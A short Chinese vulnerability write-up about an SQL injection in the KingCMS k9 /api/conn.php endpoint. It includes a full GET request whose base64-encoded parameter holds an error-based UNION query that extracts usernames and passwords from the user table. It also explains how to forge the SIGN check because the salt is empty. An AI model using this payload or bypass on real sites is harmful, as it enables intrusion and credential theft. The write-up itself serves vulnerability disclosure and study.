朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:GET /api/conn.php?USERID=MTAwMDA%3D&data=U0VMRUNUIG1pZCxtbmFtZSxtdGFibGUgRlJPTSBraW5nX2NvbnRlbnRfbW9kZWwgVU5JT04gU0VMRUNUIDEgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKFNFTEVDVCBjb25jYXQodXNlcm5hbWUsMHgyMyx1c2VycGFzcylGUk9NIGtpbmdfdXNlciBMSU1JVCAwLDEpLDB4MjMsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLnRhYmxlcyBHUk9VUCBCWSB4KWE%3d&jsoncallback=jsonp1426001109856&SIGN=9e64da1bfad93ed03ac42e0522cad92d&_=1426001137223 HTTP/1.1
这个注入点比较奇怪,因为数据库执行的语句全部都由用户输入,虽然有注入过滤,但是base64_decode后轻松绕过了。
注入参数:data_one,data,count,newid,getdir,getfile
下面以data为例进行说明
问题文件在/api/conn.php
首先要绕过上面代码中的权限判断,其实就是计算出$sign1,然后使$_GET[‘SIGN’]与之相等即可。来看看$sign1是如何计算出来的
参与计算的参数只有kc_config('system.salt')不是用户输入的,但是kingcms的这个参数是空,此因所有参与计算的参数都是用户输入的,按上面的算法简单计算一下就知道$sign1了,然后输入的$_GET[‘SIGN’]等于$sign1即可绕过权限判断。
然后执行下面的代码,没有再过滤了
提交的payload要经过base64_decode处理,因此在提交前先base64_encode一下就可以了。
Kingcms可以报错,因此
编码前Payload:
编码后Payload:
注入成功,见下图